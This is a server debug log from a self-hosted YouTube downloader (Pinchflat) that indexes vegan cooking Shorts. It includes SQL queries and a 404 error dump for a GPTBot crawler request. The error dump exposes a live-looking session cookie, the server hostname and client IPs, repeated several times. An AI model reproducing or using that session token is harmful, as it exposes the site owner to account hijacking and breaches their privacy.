vegan and gluten free is delicious, healthy and definitely sexy. You can still have tons of fun with the recipes you make on this diet and not feel guilty about your cheat days.\n\nWant to find out more about all the different plant based and vegan options that I eat? Check out this video: https://youtu.be/TMKNdPVZHg8\n\nWant to see what a typical week of meals looks like on a gluten free and plant based diet? Have a look at this video: https://youtu.be/8E3Vra03ZVY\n\nDon't forget to subscribe for more daily youtube shorts and 2 full length videos per week about eating vegan and gluten free.", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵/Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵 [IJx9iq8VNi4].NA", "id" => "IJx9iq8VNi4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/IJx9iq8VNi4", "playlist_index" => 380, "timestamp" => 1655145011, "title" => "Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵", "upload_date" => "20220613"} 20:29:21.342 [debug] QUERY OK source="sources" db=0.4ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:21.343 [debug] QUERY OK source="sources" db=0.5ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:21.345 [debug] QUERY OK source="media_items" db=1.7ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-13 18:30:11Z], 1] 20:29:21.346 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Eating vegan and gluten free is delicious, healthy and definitely sexy. You can still have tons of fun with the recipes you make on this diet and not feel guilty about your cheat days.\n\nWant to find out more about all the different plant based and vegan options that I eat? Check out this video: https://youtu.be/TMKNdPVZHg8\n\nWant to see what a typical week of meals looks like on a gluten free and plant based diet? Have a look at this video: https://youtu.be/8E3Vra03ZVY\n\nDon't forget to subscribe for more daily youtube shorts and 2 full length videos per week about eating vegan and gluten free.", "Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵", "d45a5728-b7fd-494f-819b-3b23b2eb4f67", 1, [], 15, false, "IJx9iq8VNi4", "https://www.youtube.com/shorts/IJx9iq8VNi4", 380, "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵/Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵 [IJx9iq8VNi4].NA", false, false, true, 0, ~U[2022-06-13 18:30:11Z], ~U[2026-03-22 03:29:21Z], ~U[2026-03-22 03:29:21Z], "Eating vegan and gluten free is delicious, healthy and definitely sexy. You can still have tons of fun with the recipes you make on this diet and not feel guilty about your cheat days.\n\nWant to find out more about all the different plant based and vegan options that I eat? Check out this video: https://youtu.be/TMKNdPVZHg8\n\nWant to see what a typical week of meals looks like on a gluten free and plant based diet? Have a look at this video: https://youtu.be/8E3Vra03ZVY\n\nDon't forget to subscribe for more daily youtube shorts and 2 full length videos per week about eating vegan and gluten free.", "Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵", 1, 15, false, "IJx9iq8VNi4", "https://www.youtube.com/shorts/IJx9iq8VNi4", "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵/Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵 [IJx9iq8VNi4].NA", true, ~U[2022-06-13 18:30:11Z]] 20:29:21.346 [debug] QUERY OK source="sources" db=0.5ms idle=901.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:21.347 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:21.347 [debug] QUERY OK source="media_items" db=0.3ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [769] 20:29:21.348 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Did you know that you can use your veggie scraps to make your own broth? 😮 \n\nThis food hack is one of my favourites because it gives your food 'waste' a second life and your wallet a break from expensive store-bought broth! \n\nWatch my full video on how to make your own scrappy veggie broth ➡️ https://www.youtube.com/watch?v=r1oKvdZva8s\n\nWant more food hacks? Watch MY TOP 10 VEGAN FOOD HACKS ➡️ https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "duration" => 31, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄/Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄 [15bwxMOKgpU].NA", "id" => "15bwxMOKgpU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/15bwxMOKgpU", "playlist_index" => 381, "timestamp" => 1655136902, "title" => "Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄", "upload_date" => "20220613"} 20:29:21.349 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:21.349 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:21.351 [debug] QUERY OK source="media_items" db=1.8ms idle=2.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-13 16:15:02Z], 1] 20:29:21.352 [debug] QUERY OK source="media_items" db=0.8ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Did you know that you can use your veggie scraps to make your own broth? 😮 \n\nThis food hack is one of my favourites because it gives your food 'waste' a second life and your wallet a break from expensive store-bought broth! \n\nWatch my full video on how to make your own scrappy veggie broth ➡️ https://www.youtube.com/watch?v=r1oKvdZva8s\n\nWant more food hacks? Watch MY TOP 10 VEGAN FOOD HACKS ➡️ https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄", "23d95d89-8392-4557-bb72-058184488dcd", 1, [], 31, false, "15bwxMOKgpU", "https://www.youtube.com/shorts/15bwxMOKgpU", 381, "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄/Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄 [15bwxMOKgpU].NA", false, false, true, 1, ~U[2022-06-13 16:15:02Z], ~U[2026-03-22 03:29:21Z], ~U[2026-03-22 03:29:21Z], "Did you know that you can use your veggie scraps to make your own broth? 😮 \n\nThis food hack is one of my favourites because it gives your food 'waste' a second life and your wallet a break from expensive store-bought broth! \n\nWatch my full video on how to make your own scrappy veggie broth ➡️ https://www.youtube.com/watch?v=r1oKvdZva8s\n\nWant more food hacks? Watch MY TOP 10 VEGAN FOOD HACKS ➡️ https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄", 1, 31, false, "15bwxMOKgpU", "https://www.youtube.com/shorts/15bwxMOKgpU", "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄/Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄 [15bwxMOKgpU].NA", true, ~U[2022-06-13 16:15:02Z]] 20:29:21.353 [debug] QUERY OK source="sources" db=0.5ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:21.354 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.3ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:21.354 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [770] 20:29:21.355 [debug] Current batch of media processed. Will check again in 1000ms 20:29:22.356 [debug] Current batch of media processed. Will check again in 1000ms 20:29:22.802 [info] GET /sources/1/media/411/force_download 20:29:22.803 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=353.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:29:22.804 [debug] QUERY OK source="settings" db=0.6ms idle=220.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:29:22.804 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:29:22.805 [error] #PID<0.4317.0> running PinchflatWeb.Endpoint (connection #PID<0.4316.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/411/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/411/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4316.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/411/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41838}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/411", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4317.0>, params: %{}, path_info: ["sources", "1", "media", "411", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/411"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/411/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8MLFgPm9Q1qYEAACvy"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4316.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/411/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41838}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/411", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/411/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4316.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/411/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41838}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinch (truncated) 20:29:22.912 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 20:29:22.915 [debug] QUERY OK source="media_items" db=2.3ms idle=329.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:29:22.917 [debug] QUERY OK source="media_items" db=1.7ms idle=332.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:29:22.918 [debug] QUERY OK source="sources" db=0.3ms idle=334.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:22.918 [debug] Replied in 5ms 20:29:23.357 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "What I eat in a day as a vegan! Easy, colourful, delicious 🤤\n\nCheck out my latest What I Eat in a Week video: https://youtu.be/8E3Vra03ZVY", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-12 Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts/Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts [Nk7eZWND1GE].NA", "id" => "Nk7eZWND1GE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Nk7eZWND1GE", "playlist_index" => 382, "timestamp" => 1655053211, "title" => "Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts", "upload_date" => "20220612"} 20:29:23.358 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=554.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:23.359 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=554.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 